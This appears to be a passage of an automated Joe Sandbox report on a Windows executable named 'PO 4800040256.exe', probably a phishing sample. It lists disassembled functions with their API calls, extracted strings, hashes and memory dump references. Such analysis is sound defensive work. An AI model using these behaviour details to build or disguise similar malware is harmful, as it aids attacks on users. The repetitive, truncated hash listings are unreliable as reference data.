                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __wcsicoll
                                                                                                                                                                      • String ID: 0%d$DOWN$OFF
                                                                                                                                                                      • API String ID: 3832890014-468733193
                                                                                                                                                                      • Opcode ID: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                                                                                      • Instruction ID: 3901981f80fa7430cd77b89167089bc3925961a07aad88d0cc2f25a35af8916b
                                                                                                                                                                      • Opcode Fuzzy Hash: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                                                                                      • Instruction Fuzzy Hash: B7F1D8614083856DEB21EB21C845BAF7BE85F95309F08092FF98212193D7BCD68DC76B
                                                                                                                                                                      Function 0045E912 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 353timeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VariantInit.OLEAUT32(00000000), ref: 0045E959
                                                                                                                                                                      • VariantCopy.OLEAUT32(00000000), ref: 0045E963
                                                                                                                                                                      • VariantClear.OLEAUT32 ref: 0045E970
                                                                                                                                                                      • VariantTimeToSystemTime.OLEAUT32 ref: 0045EAEB
                                                                                                                                                                      • __swprintf.LIBCMT ref: 0045EB1F
                                                                                                                                                                      • VarR8FromDec.OLEAUT32(?,?), ref: 0045EB61
                                                                                                                                                                      • VariantInit.OLEAUT32(00000000), ref: 0045EBE7
                                                                                                                                                                      Strings
                                                                                                                                                                      • %4d%02d%02d%02d%02d%02d, xrefs: 0045EB19
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Variant$InitTime$ClearCopyFromSystem__swprintf
                                                                                                                                                                      • String ID: %4d%02d%02d%02d%02d%02d
                                                                                                                                                                      • API String ID: 43541914-1568723262
                                                                                                                                                                      • Opcode ID: 11e75855299ae3405c424824ea34456a4e4a4cfcb6a1aa253e4cc896e09893c9
                                                                                                                                                                      • Instruction ID: db8708ae94f177a13b26e6bf0e0b18ed2eb17208bc27bd00c320e315e6f9d40a
                                                                                                                                                                      • Opcode Fuzzy Hash: 11e75855299ae3405c424824ea34456a4e4a4cfcb6a1aa253e4cc896e09893c9
                                                                                                                                                                      • Instruction Fuzzy Hash: ABC1F4BB1006019BC704AF06D480666F7A1FFD4322F14896FED984B341DB3AE95ED7A6
                                                                                                                                                                      Function 0042FE54 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 298sleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FE66
                                                                                                                                                                      • Sleep.KERNEL32(0000000A), ref: 0042FE6E
                                                                                                                                                                      • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FF5D
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DecrementInterlocked$Sleep
                                                                                                                                                                      • String ID: 0vH$0vH$4RH0vH$@COM_EVENTOBJ
                                                                                                                                                                      • API String ID: 2250217261-3412429629
                                                                                                                                                                      • Opcode ID: 7d20af892ce27232a3ff337619be48fed7d74e1bde2de334c7b49ab88d15dd8c
                                                                                                                                                                      • Instruction ID: 990b5f35a06538e4ae7b6c94f393f4a5fafaaf51bfa382c75dcb300f2d234fa3
                                                                                                                                                                      • Opcode Fuzzy Hash: 7d20af892ce27232a3ff337619be48fed7d74e1bde2de334c7b49ab88d15dd8c
                                                                                                                                                                      • Instruction Fuzzy Hash: E0B1C0715083009FC714EF54C990A5FB3E4AF98304F508A2FF495972A2DB78ED4ACB9A
                                                                                                                                                                      Function 004689FF Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 288COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                                                                                                                      • API String ID: 0-1603158881
                                                                                                                                                                      • Opcode ID: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                                                                                      • Instruction ID: 1d39c91c6ba170ccd8bd44326015c92659356e06a413e753493f98454e3169a0
                                                                                                                                                                      • Opcode Fuzzy Hash: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                                                                                      • Instruction Fuzzy Hash: 49A1D3B14043459BCB20EF50CC81BDE37A4AF94348F44891FF9896B182EF79A64DC76A
                                                                                                                                                                      Function 00479C97 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 274COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 00479D1F
                                                                                                                                                                      • VariantInit.OLEAUT32(?), ref: 00479F06
                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 00479F11
                                                                                                                                                                      • VariantInit.OLEAUT32(?), ref: 00479DF7
                                                                                                                                                                        • Part of subcall function 00467626: VariantInit.OLEAUT32(00000000), ref: 00467666
                                                                                                                                                                        • Part of subcall function 00467626: VariantCopy.OLEAUT32(00000000,00479BD3), ref: 00467670
                                                                                                                                                                        • Part of subcall function 00467626: VariantClear.OLEAUT32 ref: 0046767D
                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 00479F9C
                                                                                                                                                                        • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                        • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                        • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                        • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Variant$Copy$ClearInit$ErrorLast_memset
                                                                                                                                                                      • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                                                                                                                      • API String ID: 665237470-60002521
                                                                                                                                                                      • Opcode ID: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                                                                                      • Instruction ID: 799f1794578ead7d01377608c22e1fb401aa4fc5ffca8a64c02b8280356d09a3
                                                                                                                                                                      • Opcode Fuzzy Hash: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                                                                                      • Instruction Fuzzy Hash: 6091B272204341AFD720DF64D880EABB7E9EFC4314F50891EF28987291D7B9AD45C766
                                                                                                                                                                      Function 0046A75F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 179registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046A84D
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ConnectRegistry_wcslen
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 535477410-2761332787
                                                                                                                                                                      • Opcode ID: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                                                                                      • Instruction ID: 68d8ff7817732ac0dd8275009c421e29eb5870de2046e22f9b94a35ba54c9d9f
                                                                                                                                                                      • Opcode Fuzzy Hash: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                                                                                      • Instruction Fuzzy Hash: FE617FB56083009FD304EF65C981F6BB7E4AF88704F14891EF681A7291D678ED09CB97
                                                                                                                                                                      Function 0045F2C5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 0045F317
                                                                                                                                                                      • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
                                                                                                                                                                      • IsMenu.USER32(?), ref: 0045F380
                                                                                                                                                                      • CreatePopupMenu.USER32 ref: 0045F3C5
                                                                                                                                                                      • GetMenuItemCount.USER32(?), ref: 0045F42F
                                                                                                                                                                      • InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                                                                                                                      • String ID: 0$2
                                                                                                                                                                      • API String ID: 3311875123-3793063076
                                                                                                                                                                      • Opcode ID: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                                                                                      • Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
                                                                                                                                                                      • Opcode Fuzzy Hash: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                                                                                      • Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67
                                                                                                                                                                      Function 0043717F Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,C:\Users\user\Desktop\PO 4800040256.exe), ref: 0043719E
                                                                                                                                                                      • LoadStringW.USER32(00000000), ref: 004371A7
                                                                                                                                                                      • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
                                                                                                                                                                      • LoadStringW.USER32(00000000), ref: 004371C0
                                                                                                                                                                      • _printf.LIBCMT ref: 004371EC
                                                                                                                                                                      • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208
                                                                                                                                                                      Strings
                                                                                                                                                                      • C:\Users\user\Desktop\PO 4800040256.exe, xrefs: 00437189
                                                                                                                                                                      • %s (%d) : ==> %s: %s %s, xrefs: 004371E7
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleLoadModuleString$Message_printf
                                                                                                                                                                      • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\PO 4800040256.exe
                                                                                                                                                                      • API String ID: 220974073-2044986179
                                                                                                                                                                      • Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                                      • Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
                                                                                                                                                                      • Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                                      • Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA
                                                                                                                                                                      Function 00456168 Relevance: 13.7, APIs: 9, Instructions: 181COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                                                                                      • Instruction ID: 20732dcab93056f759d0b04a6df1a57780e33876730225f1fefd21ccf2a16f59
                                                                                                                                                                      • Opcode Fuzzy Hash: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                                                                                      • Instruction Fuzzy Hash: 36519070200301ABD320DF29CC85F5BB7E8EB48715F540A1EF995E7292D7B4E949CB29
                                                                                                                                                                      Function 004534EB Relevance: 13.6, APIs: 9, Instructions: 150filestringCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO 4800040256.exe,?,C:\Users\user\Desktop\PO 4800040256.exe,004A8E80,C:\Users\user\Desktop\PO 4800040256.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                        • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                      • lstrcmpiW.KERNEL32(?,?), ref: 0045355E
                                                                                                                                                                      • MoveFileW.KERNEL32(?,?), ref: 0045358E
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: File$AttributesFullMoveNamePathlstrcmpi
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 978794511-0
                                                                                                                                                                      • Opcode ID: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                                                                                      • Instruction ID: dcad70f49e32ae1adaf0c812d378eb0bba467e0a617048934f4a65f03e3a0b24
                                                                                                                                                                      • Opcode Fuzzy Hash: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                                                                                      • Instruction Fuzzy Hash: 665162B25043406AC724EF61D885ADFB3E8AFC8305F44992EB94992151E73DD34DC767
                                                                                                                                                                      Function 004417BC Relevance: 13.6, APIs: 9, Instructions: 142COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                                                                                      • Instruction ID: b1e2397247e50d0c7000acf5a2db8631a214b417b603bec0598d849dd48054e0
                                                                                                                                                                      • Opcode Fuzzy Hash: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                                                                                      • Instruction Fuzzy Hash: E54128332402806BE320A75DB8C4ABBFB98E7A2362F50443FF18196520D76678C5D339
                                                                                                                                                                      Function 00445CF9 Relevance: 13.6, APIs: 9, Instructions: 69sleepkeyboardwindowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0044593E: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 0044595D
                                                                                                                                                                        • Part of subcall function 0044593E: GetCurrentThreadId.KERNEL32 ref: 00445964
                                                                                                                                                                        • Part of subcall function 0044593E: AttachThreadInput.USER32(00000000,?,00000001,00478FA7), ref: 0044596B
                                                                                                                                                                      • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D15
                                                                                                                                                                      • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00445D35
                                                                                                                                                                      • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00445D3F
                                                                                                                                                                      • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D45
                                                                                                                                                                      • PostMessageW.USER32(00000000,00000100,00000027,00000000), ref: 00445D66
                                                                                                                                                                      • Sleep.KERNEL32(00000000), ref: 00445D70
                                                                                                                                                                      • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D76
                                                                                                                                                                      • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00445D8B
                                                                                                                                                                      • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000), ref: 00445D8F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2014098862-0
                                                                                                                                                                      • Opcode ID: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                                      • Instruction ID: b085f3065cf9cd100f04f322da00d4b037e108fc79bf5967fdabce1cd6d2e74b
                                                                                                                                                                      • Opcode Fuzzy Hash: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                                      • Instruction Fuzzy Hash: 7B116971790704B7F620AB958C8AF5A7399EF88B11F20080DF790AB1C1C9F5E4418B7C
                                                                                                                                                                      Function 0045427D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 259libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc_malloc$_strcat_strlen
                                                                                                                                                                      • String ID: AU3_FreeVar
                                                                                                                                                                      • API String ID: 2184576858-771828931
                                                                                                                                                                      • Opcode ID: 10d9e78008ba5b5703de8dc23ed72c3cd296113dc033390a1be7ca980e1f1503
                                                                                                                                                                      • Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
                                                                                                                                                                      • Opcode Fuzzy Hash: 10d9e78008ba5b5703de8dc23ed72c3cd296113dc033390a1be7ca980e1f1503
                                                                                                                                                                      • Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A
                                                                                                                                                                      Function 00401D10 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 235COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D5A
                                                                                                                                                                      • DestroyWindow.USER32(?), ref: 0042A751
                                                                                                                                                                      • UnregisterHotKey.USER32(?), ref: 0042A778
                                                                                                                                                                      • FreeLibrary.KERNEL32(?), ref: 0042A822
                                                                                                                                                                      • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042A854
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
